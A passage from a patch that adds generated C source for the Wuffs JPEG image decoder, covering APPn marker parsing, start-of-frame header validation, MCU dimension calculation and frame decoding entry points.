(WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_appn.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_c32 = t_0; -+ } -+ if (v_c32 != 1179207242u) { -+ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 1u)); -+ break; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ self->private_impl.f_is_jfif = (v_c8 == 0u); -+ } -+ } else if (a_marker == 238u) { -+ if (self->private_impl.f_payload_length >= 12u) { -+ self->private_impl.f_payload_length -= 12u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_appn.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 24) { -+ t_2 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; -+ } -+ } -+ v_c32 = t_2; -+ } -+ if (v_c32 != 1651467329u) { -+ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 8u)); -+ break; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_appn.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ } -+ } -+ v_c32 = t_3; -+ } -+ if ((255u & v_c32) != 101u) { -+ self->private_impl.f_payload_length = (65535u & (self->private_impl.f_payload_length + 4u)); -+ break; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ uint32_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_appn.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_appn.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -+ if (num_bits_4 == 24) { -+ t_4 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)) << 56; -+ } -+ } -+ v_c32 = t_4; -+ } -+ if ((v_c32 >> 24u) == 0u) { -+ self->private_impl.f_is_adobe = 1u; -+ } else { -+ self->private_impl.f_is_adobe = 2u; -+ } -+ } -+ } -+ } while (0); -+ self->private_data.s_decode_appn.scratch = self->private_impl.f_payload_length; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ if (self->private_data.s_decode_appn.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_decode_appn.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_decode_appn.scratch; -+ self->private_impl.f_payload_length = 0u; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_appn = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_appn = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.decode_sof -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__decode_sof( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint8_t v_comp_h = 0; -+ uint8_t v_comp_v = 0; -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ bool v_has_h24 = false; -+ bool v_has_h3 = false; -+ bool v_has_v24 = false; -+ bool v_has_v3 = false; -+ uint32_t v_upper_bound = 0; -+ uint64_t v_wh0 = 0; -+ uint64_t v_wh1 = 0; -+ uint64_t v_wh2 = 0; -+ uint64_t v_wh3 = 0; -+ uint64_t v_progressive = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_sof; -+ if (coro_susp_point) { -+ v_i = self->private_data.s_decode_sof.v_i; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_payload_length < 6u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length -= 6u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 == 8u) { -+ } else if (v_c8 == 12u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_12_bits); -+ goto exit; -+ } else if (v_c8 == 16u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision_16_bits); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_precision); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_1 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_sof.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_sof.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 8) { -+ t_1 = ((uint32_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); -+ } -+ } -+ self->private_impl.f_height = t_1; -+ } -+ if (self->private_impl.f_height == 0u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_implicit_height); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ uint32_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_2 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_sof.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_sof.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -+ if (num_bits_2 == 8) { -+ t_2 = ((uint32_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)); -+ } -+ } -+ self->private_impl.f_width = t_2; -+ } -+ if (self->private_impl.f_width == 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ if ((v_c8 == 0u) || (v_c8 > 4u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; -+ } else if (v_c8 == 2u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_color_model); -+ goto exit; -+ } -+ self->private_impl.f_num_components = ((uint32_t)(v_c8)); -+ if (self->private_impl.f_payload_length != (3u * self->private_impl.f_num_components)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; -+ } -+ self->private_impl.f_payload_length = 0u; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_num_components) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ self->private_impl.f_components_c[v_i] = t_4; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ v_c8 = t_5; -+ } -+ v_comp_h = ((uint8_t)(v_c8 >> 4u)); -+ v_comp_v = ((uint8_t)(v_c8 & 15u)); -+ if ((v_comp_h == 0u) || -+ (v_comp_h > 4u) || -+ (v_comp_v == 0u) || -+ (v_comp_v > 4u)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; -+ } -+ self->private_impl.f_components_h[v_i] = v_comp_h; -+ if (self->private_impl.f_max_incl_components_h < self->private_impl.f_components_h[v_i]) { -+ self->private_impl.f_max_incl_components_h = self->private_impl.f_components_h[v_i]; -+ } -+ self->private_impl.f_components_v[v_i] = v_comp_v; -+ if (self->private_impl.f_max_incl_components_v < self->private_impl.f_components_v[v_i]) { -+ self->private_impl.f_max_incl_components_v = self->private_impl.f_components_v[v_i]; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; -+ } -+ if (v_c8 >= 4u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; -+ } -+ self->private_impl.f_components_tq[v_i] = v_c8; -+ v_j = 0u; -+ while (v_j < v_i) { -+ if (self->private_impl.f_components_c[v_j] == self->private_impl.f_components_c[v_i]) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_sof_marker); -+ goto exit; -+ } -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ if (self->private_impl.f_num_components == 1u) { -+ self->private_impl.f_max_incl_components_h = 1u; -+ self->private_impl.f_max_incl_components_v = 1u; -+ self->private_impl.f_components_h[0u] = 1u; -+ self->private_impl.f_components_v[0u] = 1u; -+ } else { -+ v_has_h24 = false; -+ v_has_h3 = false; -+ v_has_v24 = false; -+ v_has_v3 = false; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_num_components) { -+ v_has_h24 = (v_has_h24 || (self->private_impl.f_components_h[v_i] == 2u) || (self->private_impl.f_components_h[v_i] == 4u)); -+ v_has_h3 = (v_has_h3 || (self->private_impl.f_components_h[v_i] == 3u)); -+ v_has_v24 = (v_has_v24 || (self->private_impl.f_components_v[v_i] == 2u) || (self->private_impl.f_components_v[v_i] == 4u)); -+ v_has_v3 = (v_has_v3 || (self->private_impl.f_components_v[v_i] == 3u)); -+ v_i += 1u; -+ } -+ if ((v_has_h24 && v_has_h3) || (v_has_v24 && v_has_v3)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__unsupported_fractional_sampling); -+ goto exit; -+ } -+ if (self->private_impl.f_num_components == 4u) { -+ self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe < 2u); -+ } else { -+ if (self->private_impl.f_is_jfif) { -+ self->private_impl.f_is_rgb_or_cmyk = false; -+ } else if (self->private_impl.f_is_adobe > 0u) { -+ self->private_impl.f_is_rgb_or_cmyk = (self->private_impl.f_is_adobe == 1u); -+ } else { -+ self->private_impl.f_is_rgb_or_cmyk = ((self->private_impl.f_components_c[0u] == 82u) && (self->private_impl.f_components_c[1u] == 71u) && (self->private_impl.f_components_c[2u] == 66u)); -+ } -+ } -+ } -+ self->private_impl.f_width_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_width, 1u, self->private_impl.f_max_incl_components_h); -+ self->private_impl.f_height_in_mcus = wuffs_jpeg__decoder__quantize_dimension(self, self->private_impl.f_height, 1u, self->private_impl.f_max_incl_components_v); -+ v_upper_bound = 65544u; -+ self->private_impl.f_components_workbuf_widths[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[0u])))); -+ self->private_impl.f_components_workbuf_widths[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[1u])))); -+ self->private_impl.f_components_workbuf_widths[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[2u])))); -+ self->private_impl.f_components_workbuf_widths[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_width_in_mcus * ((uint32_t)(self->private_impl.f_components_h[3u])))); -+ self->private_impl.f_components_workbuf_heights[0u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[0u])))); -+ self->private_impl.f_components_workbuf_heights[1u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[1u])))); -+ self->private_impl.f_components_workbuf_heights[2u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[2u])))); -+ self->private_impl.f_components_workbuf_heights[3u] = wuffs_base__u32__min(v_upper_bound, (8u * self->private_impl.f_height_in_mcus * ((uint32_t)(self->private_impl.f_components_v[3u])))); -+ v_wh0 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[0u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[0u]))); -+ v_wh1 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[1u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[1u]))); -+ v_wh2 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[2u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[2u]))); -+ v_wh3 = (((uint64_t)(self->private_impl.f_components_workbuf_widths[3u])) * ((uint64_t)(self->private_impl.f_components_workbuf_heights[3u]))); -+ v_progressive = 0u; -+ if (self->private_impl.f_sof_marker >= 194u) { -+ v_progressive = 2u; -+ v_i = 0u; -+ while (v_i < 4u) { -+ v_j = 0u; -+ while (v_j < 10u) { -+ self->private_impl.f_block_smoothing_lowest_scan_al[v_i][v_j] = 16u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ } -+ self->private_impl.f_components_workbuf_offsets[0u] = 0u; -+ self->private_impl.f_components_workbuf_offsets[1u] = (self->private_impl.f_components_workbuf_offsets[0u] + v_wh0); -+ self->private_impl.f_components_workbuf_offsets[2u] = (self->private_impl.f_components_workbuf_offsets[1u] + v_wh1); -+ self->private_impl.f_components_workbuf_offsets[3u] = (self->private_impl.f_components_workbuf_offsets[2u] + v_wh2); -+ self->private_impl.f_components_workbuf_offsets[4u] = (self->private_impl.f_components_workbuf_offsets[3u] + v_wh3); -+ self->private_impl.f_components_workbuf_offsets[5u] = (self->private_impl.f_components_workbuf_offsets[4u] + (v_wh0 * v_progressive)); -+ self->private_impl.f_components_workbuf_offsets[6u] = (self->private_impl.f_components_workbuf_offsets[5u] + (v_wh1 * v_progressive)); -+ self->private_impl.f_components_workbuf_offsets[7u] = (self->private_impl.f_components_workbuf_offsets[6u] + (v_wh2 * v_progressive)); -+ self->private_impl.f_components_workbuf_offsets[8u] = (self->private_impl.f_components_workbuf_offsets[7u] + (v_wh3 * v_progressive)); -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_sof = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_sof = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_sof.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.quantize_dimension -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__quantize_dimension( -+ const wuffs_jpeg__decoder* self, -+ uint32_t a_width, -+ uint8_t a_h, -+ uint8_t a_max_incl_h) { -+ uint32_t v_ratio = 0; -+ -+ v_ratio = 0u; -+ if (a_h > 0u) { -+ v_ratio = ((uint32_t)(((uint8_t)(a_max_incl_h / a_h)))); -+ } -+ if (v_ratio == 1u) { -+ return ((a_width + 7u) / 8u); -+ } else if (v_ratio == 2u) { -+ return ((a_width + 15u) / 16u); -+ } else if (v_ratio == 3u) { -+ return ((a_width + 23u) / 24u); -+ } -+ return ((a_width + 31u) / 32u); -+} -+ -+// -------- func jpeg.decoder.decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_jpeg__decoder__decode_frame_config( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 2)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func jpeg.decoder.do_decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__do_decode_frame_config( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_jpeg__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height), -+ ((wuffs_base__flicks)(0u)), -+ 0u, -+ self->private_impl.f_frame_config_io_position, -+ 0u, -+ true, -+ false, -+ 4278190080u); -+ } -+ self->private_impl.f_call_sequence = 64u; -+ -+ ok: -+ self->private_impl.p_do_decode_frame_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func jpeg.decoder.decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_jpeg__decoder__decode_frame( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 3)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_ddf_status = wuffs_base__make_status(NULL); -+ wuffs_base__status v_swizzle_status = wuffs_base__make_status(NULL); -+ uint32_t v_scan_count = 0; -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ v_scan_count = self->private_impl.f_scan_count; -+ { -+ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_ddf_status = t_0; -+ } -+ if ((v_ddf_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ v_ddf_status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); -+ } -+ if ( ! self->private_impl.f_swizzle_immediately && (wuffs_base__status__is_error(&v_ddf_status) || (v_scan_count < self->private_impl.f_scan_count))) { -+ if (self->private_impl.f_sof_marker >= 194u) { -+ wuffs_jpeg__decoder__apply_progressive_idct(self, a_workbuf); -+ } -+ if (self->private_impl.f_num_components == 1u) { -+ v_swizzle_status = wuffs_jpeg__decoder__swizzle_gray(self, -+ a_dst, -+ a_workbuf, -+ 0u, -+ 4294967295u, -+ 0u, -+ 4294967295u, -+ ((uint64_t)(self->private_impl.f_components_workbuf_widths[0u]))); -+ } else { -+ v_swizzle_status = wuffs_jpeg__decoder__swizzle_colorful(self, -+ a_dst, -+ a_workbuf, -+ 0u, -+ 4294967295u, -+ 0u, -+ 4294967295u); -+ } -+ if (wuffs_base__status__is_error(&v_ddf_status)) { -+ status = v_ddf_status; -+ goto exit; -+ } else if (wuffs_base__status__is_error(&v_swizzle_status)) { -+ status = v_swizzle_status; -+ goto exit; -+ } -+ } -+ status = v_ddf_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ 